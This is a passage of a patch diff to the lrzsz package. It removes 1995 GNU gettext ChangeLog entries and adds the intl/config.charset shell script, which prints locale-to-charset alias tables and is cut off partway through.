-- Fix for machine with >32 bit `unsigned long's.
--
-- * dcgettext.c (DCGETTEXT):
-- Fix horrible bug in loop for alternative translation.
--
--Thu Nov 23 01:45:29 1995 Ulrich Drepper <drepper@myware>
--
-- * po2tbl.sed.in, linux-msg.sed, xopen-msg.sed:
-- Some further simplifications in message number generation.
--
--Mon Nov 20 21:08:43 1995 Ulrich Drepper <drepper@myware>
--
-- * libintl.h.glibc: Use __const instead of const in prototypes.
--
-- * Makefile.in (install-src):
-- Install libintl.h.install instead of libintl.h. This
-- is a stripped-down version. Suggested by Peter Miller.
--
-- * libintl.h.install, libintl.h.glibc: Initial revision.
--
-- * localealias.c (_nl_expand_alias, read_alias_file):
-- Protect prototypes in type casts by __P.
--
--Tue Nov 14 16:43:58 1995 Ulrich Drepper <drepper@myware>
--
-- * hash-string.h: Correct prototype for hash_string.
--
--Sun Nov 12 12:42:30 1995 Ulrich Drepper <drepper@myware>
--
-- * hash-string.h (hash_string): Add prototype.
--
-- * gettextP.h: Fix copyright.
-- (SWAP): Add prototype.
--
--Wed Nov 8 22:56:33 1995 Ulrich Drepper <drepper@myware>
--
-- * localealias.c (read_alias_file): Forgot sizeof.
-- Avoid calling *printf function. This introduces a big overhead.
-- Patch by Roland McGrath.
--
--Tue Nov 7 14:21:08 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c, cat-compat.c: Wrong indentation in #if for stpcpy.
--
-- * finddomain.c (stpcpy):
-- Define substitution function local. The macro was to flaky.
--
-- * cat-compat.c: Fix typo.
--
-- * xopen-msg.sed, linux-msg.sed:
-- While bringing message number to right place only accept digits.
--
-- * linux-msg.sed, xopen-msg.sed: Now that the counter does not have
-- leading 0s we don't need to remove them. Reported by Marcus
-- Daniels.
--
-- * Makefile.in (../po/cat-id-tbl.o): Use $(top_srdir) in
-- dependency. Reported by Marcus Daniels.
--
-- * cat-compat.c: (stpcpy) [!_LIBC && !HAVE_STPCPY]: Define replacement.
-- Generally cleanup using #if instead of #ifndef.
--
-- * Makefile.in: Correct typos in comment. By Franc,ois Pinard.
--
--Mon Nov 6 00:27:02 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (install-src): Don't install libintl.h and libintl.a
-- if we use an available gettext implementation.
--
--Sun Nov 5 22:02:08 1995 Ulrich Drepper <drepper@myware>
--
-- * libgettext.h: Fix typo: HAVE_CATGETTS -> HAVE_CATGETS. Reported
-- by Franc,ois Pinard.
--
-- * libgettext.h: Use #if instead of #ifdef/#ifndef.
--
-- * finddomain.c:
-- Comments describing what has to be done should start with FIXME.
--
--Sun Nov 5 19:38:01 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (DISTFILES): Split. Use DISTFILES with normal meaning.
-- DISTFILES.common names the files common to both dist goals.
-- DISTFILES.gettext are the files only distributed in GNU gettext.
--
--Sun Nov 5 17:32:54 1995 Ulrich Drepper <drepper@myware>
--
-- * dcgettext.c (DCGETTEXT): Correct searching in derived locales.
-- This was necessary since a change in _nl_find_msg several weeks
-- ago. I really don't know this is still not fixed.
--
--Sun Nov 5 12:43:12 1995 Ulrich Drepper <drepper@myware>
--
-- * loadmsgcat.c (_nl_load_domain): Test for FILENAME == NULL. This
-- might mark a special condition.
--
-- * finddomain.c (make_entry_rec): Don't make illegal entry as decided.
--
-- * Makefile.in (dist): Suppress error message when ln failed.
-- Get files from $(srcdir) explicitly.
--
-- * libgettext.h (gettext_const): Rename to gettext_noop.
--
--Fri Nov 3 07:36:50 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (make_entry_rec):
-- Protect against wrong locale names by testing mask.
--
-- * libgettext.h (gettext_const): Add macro definition.
-- Capitalize macro arguments.
--
--Thu Nov 2 23:15:51 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (_nl_find_domain):
-- Test for pointer != NULL before accessing value.
-- Reported by Tom Tromey.
--
-- * gettext.c (NULL):
-- Define as (void*)0 instad of 0. Reported by Franc,ois Pinard.
--
--Mon Oct 30 21:28:52 1995 Ulrich Drepper <drepper@myware>
--
-- * po2tbl.sed.in: Serious typo bug fixed by Jim Meyering.
--
--Sat Oct 28 23:20:47 1995 Ulrich Drepper <drepper@myware>
--
-- * libgettext.h: Disable dcgettext optimization for Solaris 2.3.
--
-- * localealias.c (alias_compare):
-- Peter Miller reported that tolower in some systems is
-- even dumber than I thought. Protect call by `isupper'.
--
--Fri Oct 27 22:22:51 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (libdir, includedir): New variables.
-- (install-src): Install libintl.a and libintl.h in correct dirs.
--
--Fri Oct 27 22:07:29 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (SOURCES): Fix typo: intrl.compat.c -> intl-compat.c.
--
-- * po2tbl.sed.in: Patch for buggy SEDs by Christian von Roques.
--
-- * localealias.c:
-- Fix typo and superflous test. Reported by Christian von Roques.
--
--Fri Oct 6 11:52:05 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (_nl_find_domain):
-- Correct some remainder from the pre-CEN syntax. Now
-- we don't have a constant number of successors anymore.
--
--Wed Sep 27 21:41:13 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (DISTFILES): Add libintl.h.glibc.
--
-- * Makefile.in (dist-libc): Add goal for packing sources for glibc.
-- (COMSRCS, COMHDRS): Splitted to separate sources shared with glibc.
--
-- * loadmsgcat.c: Forget to continue #if line.
--
-- * localealias.c:
-- [_LIBC]: Rename strcasecmp to __strcasecmp to keep ANSI C name
-- space clean.
--
-- * dcgettext.c, finddomain.c: Better comment to last change.
--
-- * loadmsgcat.c:
-- [_LIBC]: Rename fstat, open, close, read, mmap, and munmap to
-- __fstat, __open, __close, __read, __mmap, and __munmap resp
-- to keep ANSI C name space clean.
--
-- * finddomain.c:
-- [_LIBC]: Rename stpcpy to __stpcpy to keep ANSI C name space clean.
--
-- * dcgettext.c:
-- [_LIBC]: Rename getced and stpcpy to __getcwd and __stpcpy resp to
-- keep ANSI C name space clean.
--
-- * libgettext.h:
-- Include sys/types.h for those old SysV systems out there.
-- Reported by Francesco Potorti`.
--
-- * loadmsgcat.c (use_mmap): Define if compiled for glibc.
--
-- * bindtextdom.c: Include all those standard headers
-- unconditionally if _LIBC is defined.
--
-- * finddomain.c: Fix 2 times defiend -> defined.
--
-- * textdomain.c: Include libintl.h instead of libgettext.h when
-- compiling for glibc. Include all those standard headers
-- unconditionally if _LIBC is defined.
--
-- * localealias.c, loadmsgcat.c: Prepare to be compiled in glibc.
--
-- * gettext.c:
-- Include libintl.h instead of libgettext.h when compiling for glibc.
-- Get NULL from stddef.h if we compile for glibc.
--
-- * finddomain.c: Include libintl.h instead of libgettext.h when
-- compiling for glibc. Include all those standard headers
-- unconditionally if _LIBC is defined.
--
-- * dcgettext.c: Include all those standard headers unconditionally
-- if _LIBC is defined.
--
-- * dgettext.c: If compiled in glibc include libintl.h instead of
-- libgettext.h.
-- (locale.h): Don't rely on HAVE_LOCALE_H when compiling for glibc.
--
-- * dcgettext.c: If compiled in glibc include libintl.h instead of
-- libgettext.h.
-- (getcwd): Don't rely on HAVE_GETCWD when compiling for glibc.
--
-- * bindtextdom.c:
-- If compiled in glibc include libintl.h instead of libgettext.h.
--
--Mon Sep 25 22:23:06 1995 Ulrich Drepper <drepper@myware>
--
-- * localealias.c (_nl_expand_alias): Don't call bsearch if NMAP <= 0.
-- Reported by Marcus Daniels.
--
-- * cat-compat.c (bindtextdomain):
-- String used in putenv must not be recycled.
-- Reported by Marcus Daniels.
--
-- * libgettext.h (__USE_GNU_GETTEXT):
-- Additional symbol to signal that we use GNU gettext
-- library.
--
-- * cat-compat.c (bindtextdomain):
-- Fix bug with the strange stpcpy replacement.
-- Reported by Nelson Beebe.
--
--Sat Sep 23 08:23:51 1995 Ulrich Drepper <drepper@myware>
--
-- * cat-compat.c: Include <string.h> for stpcpy prototype.
--
-- * localealias.c (read_alias_file):
-- While expand strdup code temporary variable `cp' hided
-- higher level variable with same name. Rename to `tp'.
--
-- * textdomain.c (textdomain):
-- Avoid warning by using temporary variable in strdup code.
--
-- * finddomain.c (_nl_find_domain): Remove unused variable `application'.
--
--Thu Sep 21 15:51:44 1995 Ulrich Drepper <drepper@myware>
--
-- * localealias.c (alias_compare):
-- Use strcasecmp() only if available. Else use
-- implementation in place.
--
-- * intl-compat.c:
-- Wrapper functions now call *__ functions instead of __*.
--
-- * libgettext.h: Declare prototypes for *__ functions instead for __*.
--
-- * cat-compat.c, loadmsgcat.c:
-- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
-- of the standard libc and so prevent libintl.a from being used
-- standalone.
--
-- * bindtextdom.c:
-- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
-- of the standard libc and so prevent libintl.a from being used
-- standalone.
-- Rename to bindtextdomain__ if not used in GNU C Library.
--
-- * dgettext.c:
-- Rename function to dgettext__ if not used in GNU C Library.
--
-- * gettext.c:
-- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
-- of the standard libc and so prevent libintl.a from being used
-- standalone.
-- Functions now called gettext__ if not used in GNU C Library.
--
-- * dcgettext.c, localealias.c, textdomain.c, finddomain.c:
-- Don't use xmalloc, xstrdup, and stpcpy. These functions are not part
-- of the standard libc and so prevent libintl.a from being used
-- standalone.
--
--Sun Sep 17 23:14:49 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c: Correct some bugs in handling of CEN standard
-- locale definitions.
--
--Thu Sep 7 01:49:28 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c: Implement CEN syntax.
--
-- * gettextP.h (loaded_domain): Extend number of successors to 31.
--
--Sat Aug 19 19:25:29 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (aliaspath): Remove path to X11 locale dir.
--
-- * Makefile.in: Make install-src depend on install. This helps
-- gettext to install the sources and other packages can use the
-- install goal.
--
--Sat Aug 19 15:19:33 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (uninstall): Remove stuff installed by install-src.
--
--Tue Aug 15 13:13:53 1995 Ulrich Drepper <drepper@myware>
--
-- * VERSION.in: Initial revision.
--
-- * Makefile.in (DISTFILES):
-- Add VERSION file. This is not necessary for gettext, but
-- for other packages using this library.
--
--Tue Aug 15 06:16:44 1995 Ulrich Drepper <drepper@myware>
--
-- * gettextP.h (_nl_find_domain):
-- New prototype after changing search strategy.
--
-- * finddomain.c (_nl_find_domain):
-- We now try only to find a specified catalog. Fall back to other
-- catalogs listed in the locale list is now done in __dcgettext.
--
-- * dcgettext.c (__dcgettext):
-- Now we provide message fall back even to different languages.
-- I.e. if a message is not available in one language all the other
-- in the locale list a tried. Formerly fall back was only possible
-- within one language. Implemented by moving one loop from
-- _nl_find_domain to here.
--
--Mon Aug 14 23:45:50 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (gettextsrcdir):
-- Directory where source of GNU gettext library are made
-- available.
-- (INSTALL, INSTALL_DATA): Programs used for installing sources.
-- (gettext-src): New. Rule to install GNU gettext sources for use in
-- gettextize shell script.
--
--Sun Aug 13 14:40:48 1995 Ulrich Drepper <drepper@myware>
--
-- * loadmsgcat.c (_nl_load_domain):
-- Use mmap for loading only when munmap function is
-- also available.
--
-- * Makefile.in (install): Depend on `all' goal.
--
--Wed Aug 9 11:04:33 1995 Ulrich Drepper <drepper@myware>
--
-- * localealias.c (read_alias_file):
-- Do not overwrite '\n' when terminating alias value string.
--
-- * localealias.c (read_alias_file):
-- Handle long lines. Ignore the rest not fitting in
-- the buffer after the initial `fgets' call.
--
--Wed Aug 9 00:54:29 1995 Ulrich Drepper <drepper@myware>
--
-- * gettextP.h (_nl_load_domain):
-- Add prototype, replacing prototype for _nl_load_msg_cat.
--
-- * finddomain.c (_nl_find_domain):
-- Remove unneeded variable filename and filename_len.
-- (expand_alias): Remove prototype because functions does not
-- exist anymore.
--
-- * localealias.c (read_alias_file):
-- Change type of fname_len parameter to int.
-- (xmalloc): Add prototype.
--
-- * loadmsgcat.c: Better prototypes for xmalloc.
--
--Tue Aug 8 22:30:39 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (_nl_find_domain):
-- Allow alias name to be constructed from the four components.
--
-- * Makefile.in (aliaspath): New variable. Set to preliminary value.
-- (SOURCES): Add localealias.c.
-- (OBJECTS): Add localealias.o.
--
-- * gettextP.h: Add prototype for _nl_expand_alias.
--
-- * finddomain.c: Aliasing handled in intl/localealias.c.
--
-- * localealias.c: Aliasing for locale names.
--
-- * bindtextdom.c: Better prototypes for xmalloc and xstrdup.
--
--Mon Aug 7 23:47:42 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (DISTFILES): gettext.perl is now found in misc/.
--
-- * cat-compat.c (bindtextdomain):
-- Correct implementation. dirname parameter was not used.
-- Reported by Marcus Daniels.
--
-- * gettextP.h (loaded_domain):
-- New fields `successor' and `decided' for oo, lazy
-- message handling implementation.
--
-- * dcgettext.c:
-- Adopt for oo, lazy message handliing.
-- Now we can inherit translations from less specific locales.
-- (find_msg): New function.
--
-- * loadmsgcat.c, finddomain.c:
-- Complete rewrite. Implement oo, lazy message handling :-).
-- We now have an additional environment variable `LANGUAGE' with
-- a higher priority than LC_ALL for the LC_MESSAGE locale.
-- Here we can set a colon separated list of specifications each
-- of the form `language[_territory[.codeset]][@modifier]'.
--
--Sat Aug 5 09:55:42 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (unistd.h):
-- Include to get _PC_PATH_MAX defined on system having it.
--
--Fri Aug 4 22:42:00 1995 Ulrich Drepper <drepper@myware>
--
-- * finddomain.c (stpcpy): Include prototype.
--
-- * Makefile.in (dist): Remove `copying instead' message.
--
--Wed Aug 2 18:52:03 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (ID, TAGS): Do not use $^.
--
--Tue Aug 1 20:07:11 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (TAGS, ID): Use $^ as command argument.
-- (TAGS): Give etags -o option t write to current directory,
-- not $(srcdir).
-- (ID): Use $(srcdir) instead os $(top_srcdir)/src.
-- (distclean): Remove ID.
--
--Sun Jul 30 11:51:46 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (gnulocaledir):
-- New variable, always using share/ for data directory.
-- (DEFS): Add GNULOCALEDIR, used in finddomain.c.
--
-- * finddomain.c (_nl_default_dirname):
-- Set to GNULOCALEDIR, because it always has to point
-- to the directory where GNU gettext Library writes it to.
--
-- * intl-compat.c (textdomain, bindtextdomain):
-- Undefine macros before function definition.
--
--Sat Jul 22 01:10:02 1995 Ulrich Drepper <drepper@myware>
--
-- * libgettext.h (_LIBINTL_H):
-- Protect definition in case where this file is included as
-- libgettext.h on Solaris machines. Add comment about this.
--
--Wed Jul 19 02:36:42 1995 Ulrich Drepper <drepper@myware>
--
-- * intl-compat.c (textdomain): Correct typo.
--
--Wed Jul 19 01:51:35 1995 Ulrich Drepper <drepper@myware>
--
-- * dcgettext.c (dcgettext): Function now called __dcgettext.
--
-- * dgettext.c (dgettext): Now called __dgettext and calls
-- __dcgettext.
--
-- * gettext.c (gettext):
-- Function now called __gettext and calls __dgettext.
--
-- * textdomain.c (textdomain): Function now called __textdomain.
--
-- * bindtextdom.c (bindtextdomain): Function now called
-- __bindtextdomain.
--
-- * intl-compat.c: Initial revision.
--
-- * Makefile.in (SOURCES): Add intl-compat.c.
-- (OBJECTS): We always compile the GNU gettext library functions.
-- OBJECTS contains all objects but cat-compat.o, ../po/cat-if-tbl.o,
-- and intl-compat.o.
-- (GETTOBJS): Contains now only intl-compat.o.
--
-- * libgettext.h:
-- Re-include protection matches dualistic character of libgettext.h.
-- For all functions in GNU gettext library define __ counter part.
--
-- * finddomain.c (strchr): Define as index if not found in C library.
-- (_nl_find_domain): For relative paths paste / in between.
--
--Tue Jul 18 16:37:45 1995 Ulrich Drepper <drepper@myware>
--
-- * loadmsgcat.c, finddomain.c: Add inclusion of sys/types.h.
--
-- * xopen-msg.sed: Fix bug with `msgstr ""' lines.
-- A little bit better comments.
--
--Tue Jul 18 01:18:27 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in:
-- po-mode.el, makelinks, combine-sh are now found in ../misc.
--
-- * po-mode.el, makelinks, combine-sh, elisp-comp:
-- Moved to ../misc/.
--
-- * libgettext.h, gettextP.h, gettext.h: Uniform test for __STDC__.
--
--Sun Jul 16 22:33:02 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (INSTALL, INSTALL_DATA): New variables.
-- (install-data, uninstall): Install/uninstall .elc file.
--
-- * po-mode.el (Installation comment):
-- Add .pox as possible extension of .po files.
--
--Sun Jul 16 13:23:27 1995 Ulrich Drepper <drepper@myware>
--
-- * elisp-comp: Complete new version by Franc,ois: This does not
-- fail when not compiling in the source directory.
--
--Sun Jul 16 00:12:17 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (../po/cat-id-tbl.o):
-- Use $(MAKE) instead of make for recursive make.
--
-- * Makefile.in (.el.elc): Use $(SHELL) instead of /bin/sh.
-- (install-exec): Add missing dummy goal.
-- (install-data, uninstall): @ in multi-line shell command at
-- beginning, not in front of echo. Reported by Eric Backus.
--
--Sat Jul 15 00:21:28 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (DISTFILES):
-- Rename libgettext.perl to gettext.perl to fit in 14 chars
-- file systems.
--
-- * gettext.perl:
-- Rename to gettext.perl to fit in 14 chars file systems.
--
--Thu Jul 13 23:17:20 1995 Ulrich Drepper <drepper@myware>
--
-- * cat-compat.c: If !STDC_HEADERS try to include malloc.h.
--
--Thu Jul 13 20:55:02 1995 Ulrich Drepper <drepper@myware>
--
-- * po2tbl.sed.in: Pretty printing.
--
-- * linux-msg.sed, xopen-msg.sed:
-- Correct bugs with handling substitute flags in branches.
--
-- * hash-string.h (hash_string):
-- Old K&R compilers don't under stand `unsigned char'.
--
-- * gettext.h (nls_uint32):
-- Some old K&R compilers (eg HP) don't understand `unsigned int'.
--
-- * cat-compat.c (msg_to_cat_id): De-ANSI-fy prototypes.
--
--Thu Jul 13 01:34:33 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (ELCFILES): New variable.
-- (DISTFILES): Add elisp-comp.
-- Add implicit rule for .el -> .elc compilation.
-- (install-data): install $ELCFILES
-- (clean): renamed po-to-tbl and po-to-msg to po2tbl and po2msg resp.
--
-- * elisp-comp: Initial revision
--
--Wed Jul 12 16:14:52 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in:
-- cat-id-tbl.c is now found in po/. This enables us to use an identical
-- intl/ directory in all packages.
--
-- * dcgettext.c (dcgettext): hashing does not work for table size <= 2.
--
-- * textdomain.c: fix typo (#if def -> #if defined)
--
--Tue Jul 11 18:44:43 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in (stamp-cat-id): use top_srcdir to address source files
-- (DISTFILES,distclean): move tupdate.perl to src/
--
-- * po-to-tbl.sed.in:
-- add additional jump to clear change flag to recognize multiline strings
--
--Tue Jul 11 01:32:50 1995 Ulrich Drepper <drepper@myware>
--
-- * textdomain.c: Protect inclusion of stdlib.h and string.h.
--
-- * loadmsgcat.c: Protect inclusion of stdlib.h.
--
-- * libgettext.h: Protect inclusion of locale.h.
-- Allow use in C++ programs.
-- Define NULL is not happened already.
--
-- * Makefile.in (DISTFILES): ship po-to-tbl.sed.in instead of
-- po-to-tbl.sed.
-- (distclean): remove po-to-tbl.sed and tupdate.perl.
--
-- * tupdate.perl.in: Substitute Perl path even in exec line.
-- Don't include entries without translation from old .po file.
--
--Tue Jul 4 00:41:51 1995 Ulrich Drepper <drepper@myware>
--
-- * tupdate.perl.in: use "Updated: " in msgid "".
--
-- * cat-compat.c: Fix typo (LOCALDIR -> LOCALEDIR).
-- Define getenv if !__STDC__.
--
-- * bindtextdom.c: Protect stdlib.h and string.h inclusion.
-- Define free if !__STDC__.
--
-- * finddomain.c: Change DEF_MSG_DOM_DIR to LOCALEDIR.
-- Define free if !__STDC__.
--
-- * cat-compat.c: Change DEF_MSG_DOM_DIR to LOCALEDIR.
--
--Mon Jul 3 23:56:30 1995 Ulrich Drepper <drepper@myware>
--
-- * Makefile.in: Use LOCALEDIR instead of DEF_MSG_DOM_DIR.
-- Remove unneeded $(srcdir) from Makefile.in dependency.
--
-- * makelinks: Add copyright and short description.
--
-- * po-mode.el: Last version for 0.7.
--
-- * tupdate.perl.in: Fix die message.
--
-- * dcgettext.c: Protect include of string.h.
--
-- * gettext.c: Protect include of stdlib.h and further tries to get NULL.
--
-- * finddomain.c: Some corrections in includes.
--
-- * Makefile.in (INCLUDES): Prune list correct path to Makefile.in.
--
-- * po-to-tbl.sed: Adopt for new .po file format.
--
-- * linux-msg.sed, xopen-msg.sed: Adopt for new .po file format.
--
--Sun Jul 2 23:55:03 1995 Ulrich Drepper <drepper@myware>
--
-- * tupdate.perl.in: Complete rewrite for new .po file format.
-+2004-01-29 GNU <bug-gnu-gettext@gnu.org>
-
--Sun Jul 2 02:06:50 1995 Ulrich Drepper <drepper@myware>
-+ * Version 0.14.1 released.
-
-- * First official release. This directory contains all the code
-- needed to internationalize own packages. It provides functions
-- which allow to use the X/Open catgets function with an interface
-- like the Uniforum gettext function. For system which does not
-- have neither of those a complete implementation is provided.
---- lrzsz-0.12.20.safe/intl/config.charset 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/config.charset 2004-09-12 14:40:34.354748240 -0400
-@@ -0,0 +1,608 @@
-+#! /bin/sh
-+# Output a system dependent table of character encoding aliases.
-+#
-+# Copyright (C) 2000-2004 Free Software Foundation, Inc.
-+#
-+# This program is free software; you can redistribute it and/or modify it
-+# under the terms of the GNU Library General Public License as published
-+# by the Free Software Foundation; either version 2, or (at your option)
-+# any later version.
-+#
-+# This program is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Library General Public License for more details.
-+#
-+# You should have received a copy of the GNU Library General Public
-+# License along with this program; if not, write to the Free Software
-+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+# USA.
-+#
-+# The table consists of lines of the form
-+# ALIAS CANONICAL
-+#
-+# ALIAS is the (system dependent) result of "nl_langinfo (CODESET)".
-+# ALIAS is compared in a case sensitive way.
-+#
-+# CANONICAL is the GNU canonical name for this character encoding.
-+# It must be an encoding supported by libiconv. Support by GNU libc is
-+# also desirable. CANONICAL is case insensitive. Usually an upper case
-+# MIME charset name is preferred.
-+# The current list of GNU canonical charset names is as follows.
-+#
-+# name MIME? used by which systems
-+# ASCII, ANSI_X3.4-1968 glibc solaris freebsd darwin
-+# ISO-8859-1 Y glibc aix hpux irix osf solaris freebsd darwin
-+# ISO-8859-2 Y glibc aix hpux irix osf solaris freebsd darwin
-+# ISO-8859-3 Y glibc solaris
-+# ISO-8859-4 Y osf solaris freebsd darwin
-+# ISO-8859-5 Y glibc aix hpux irix osf solaris freebsd darwin
-+# ISO-8859-6 Y glibc aix hpux solaris
-+# ISO-8859-7 Y glibc aix hpux irix osf solaris
-+# ISO-8859-8 Y glibc aix hpux osf solaris
-+# ISO-8859-9 Y glibc aix hpux irix osf solaris
-+# ISO-8859-13 glibc
-+# ISO-8859-14 glibc
-+# ISO-8859-15 glibc aix osf solaris freebsd
-+# KOI8-R Y glibc solaris freebsd darwin
-+# KOI8-U Y glibc freebsd darwin
-+# KOI8-T glibc
-+# CP437 dos
-+# CP775 dos
-+# CP850 aix osf dos
-+# CP852 dos
-+# CP855 dos
-+# CP856 aix
-+# CP857 dos
-+# CP861 dos
-+# CP862 dos
-+# CP864 dos
-+# CP865 dos
-+# CP866 freebsd darwin dos
-+# CP869 dos
-+# CP874 woe32 dos
-+# CP922 aix
-+# CP932 aix woe32 dos
-+# CP943 aix
-+# CP949 osf woe32 dos
-+# CP950 woe32 dos
-+# CP1046 aix
-+# CP1124 aix
-+# CP1125 dos
-+# CP1129 aix
-+# CP1250 woe32
-+# CP1251 glibc solaris darwin woe32
-+# CP1252 aix woe32
-+# CP1253 woe32
-+# CP1254 woe32
-+# CP1255 glibc woe32
-+# CP1256 woe32
-+# CP1257 woe32
-+# GB2312 Y glibc aix hpux irix solaris freebsd darwin
-+# EUC-JP Y glibc aix hpux irix osf solaris freebsd darwin
-+# EUC-KR Y glibc aix hpux irix osf solaris freebsd darwin
-+# EUC-TW glibc aix hpux irix osf solaris
-+# BIG5 Y glibc aix hpux osf solaris freebsd darwin
-+# BIG5-HKSCS glibc solaris
-+# GBK glibc aix osf solaris woe32 dos
-+# GB18030 glibc solaris
-+# SHIFT_JIS Y hpux osf solaris freebsd darwin
-+# JOHAB glibc solaris woe32
-+# TIS-620 glibc aix hpux osf solaris
-+# VISCII Y glibc
-+# TCVN5712-1 glibc
-+# GEORGIAN-PS glibc
-+# HP-ROMAN8 hpux
-+# HP-ARABIC8 hpux
-+# HP-GREEK8 hpux
-+# HP-HEBREW8 hpux
-+# HP-TURKISH8 hpux
-+# HP-KANA8 hpux
-+# DEC-KANJI osf
-+# DEC-HANYU osf
-+# UTF-8 Y glibc aix hpux osf solaris
-+#
-+# Note: Names which are not marked as being a MIME name should not be used in
-+# Internet protocols for information interchange (mail, news, etc.).
-+#
-+# Note: ASCII and ANSI_X3.4-1968 are synonymous canonical names. Applications
-+# must understand both names and treat them as equivalent.
-+#
-+# The first argument passed to this file is the canonical host specification,
-+# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
-+# or
-+# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
-+
-+host="$1"
-+os=`echo "$host" | sed -e 's/^[^-]*-[^-]*-\(.*\)$/\1/'`
-+echo "# This file contains a table of character encoding aliases,"
-+echo "# suitable for operating system '${os}'."
-+echo "# It was automatically generated from config.charset."
-+# List of references, updated during installation:
-+echo "# Packages using this file: "
-+case "$os" in
-+ linux-gnulibc1*)
-+ # Linux libc5 doesn't have nl_langinfo(CODESET); therefore
-+ # localcharset.c falls back to using the full locale name
-+ # from the environment variables.
-+ echo "C ASCII"
-+ echo "POSIX ASCII"
-+ for l in af af_ZA ca ca_ES da da_DK de de_AT de_BE de_CH de_DE de_LU \
-+ en en_AU en_BW en_CA en_DK en_GB en_IE en_NZ en_US en_ZA \
-+ en_ZW es es_AR es_BO es_CL es_CO es_DO es_EC es_ES es_GT \
-+ es_HN es_MX es_PA es_PE es_PY es_SV es_US es_UY es_VE et \
-+ et_EE eu eu_ES fi fi_FI fo fo_FO fr fr_BE fr_CA fr_CH fr_FR \
-+ fr_LU ga ga_IE gl gl_ES id id_ID in in_ID is is_IS it it_CH \
-+ it_IT kl kl_GL nl nl_BE nl_NL no no_NO pt pt_BR pt_PT sv \
-+ sv_FI sv_SE; do
-+ echo "$l ISO-8859-1"
-+ echo "$l.iso-8859-1 ISO-8859-1"
-+ echo "$l.iso-8859-15 ISO-8859-15"
-+ echo "$l.iso-8859-15@euro ISO-8859-15"
-+ echo "$l@euro ISO-8859-15"
-+ echo "$l.cp-437 CP437"
-+ echo "$l.cp-850 CP850"
-+ echo "$l.cp-1252 CP1252"
-+ echo "$l.cp-1252@euro CP1252"
-+ #echo "$l.atari-st ATARI-ST" # not a commonly used encoding
-+ echo "$l.utf-8 UTF-8"
-+ echo "$l.utf-8@euro UTF-8"
-+ done
-+ for l in cs cs_CZ hr hr_HR hu hu_HU pl pl_PL ro ro_RO sk sk_SK sl \
-+ sl_SI sr sr_CS sr_YU; do
-+ echo "$l ISO-8859-2"
-+ echo "$l.iso-8859-2 ISO-8859-2"
-+ echo "$l.cp-852 CP852"
-+ echo "$l.cp-1250 CP1250"
-+ echo "$l.utf-8 UTF-8"
-+ done
-+ for l in mk mk_MK ru ru_RU; do
-+ echo "$l ISO-8859-5"
-+ echo "$l.iso-8859-5 ISO-8859-5"
-+ echo "$l.koi8-r KOI8-R"
-+ echo "$l.cp-866 CP866"
-+ echo "$l.cp-1251 CP1251"
-+ echo "$l.utf-8 UTF-8"
-+ done
-+ for l in ar ar_SA; do
-+ echo "$l ISO-8859-6"
-+ echo "$l.iso-8859-6 ISO-8859-6"
-+ echo "$l.cp-864 CP864"
-+ #echo "$l.cp-868 CP868" # not a commonly used encoding
-+ echo "$l.cp-1256 CP1256"
-+ echo "$l.utf-8 UTF-8"
-+ done
-+ for l in el el_GR gr gr_GR; do
-+ echo "$l ISO-8859-7"
-+ echo "$l.iso-8859-7 ISO-8859-7"
-+ echo "$l.cp-869 CP869"
-+ echo "$l.cp-1253 CP1253"
-+ echo "$l.cp-1253@euro CP1253"
-+ echo "$l.utf-8 UTF-8"
-+ echo "$l.utf-8@euro UTF-8"
-+ done
-+ for l in he he_IL iw iw_IL; do
-+ echo "$l ISO-8859-8"
-+ echo "$l.iso-8859-8 ISO-8859-8"
-+ echo "$l.cp-862 CP862"
-+ echo "$l.cp-1255 CP1255"
-+ echo "$l.utf-8 UTF-8"
-+ done
-+ for l in tr tr_TR; do
-+ echo "$l ISO-8859-9"
-+ echo "$l.iso-8859-9 ISO-8859-9"
-+ echo "$l.cp-857 CP857"
-+ echo "$l.cp-1254 CP1254"
-+ echo "$l.utf-8 UTF-8"
-+ done
-+ for l in lt lt_LT lv lv_LV; do
-+ #echo "$l BALTIC" # not a commonly used encoding, wrong encoding name
-+ echo "$l ISO-8859-13"
-+ done
-+ for l in ru_UA uk uk_UA; do
-+ echo "$l KOI8-U"
-+ done
-+ for l in zh zh_CN; do
-+ #echo "$l GB_2312-80" # not a commonly used encoding, wrong encoding name
-+ echo "$l GB2312"
-+ done
-+ for l in ja ja_JP ja_JP.EUC; do
-+ echo "$l EUC-JP"
-+ done
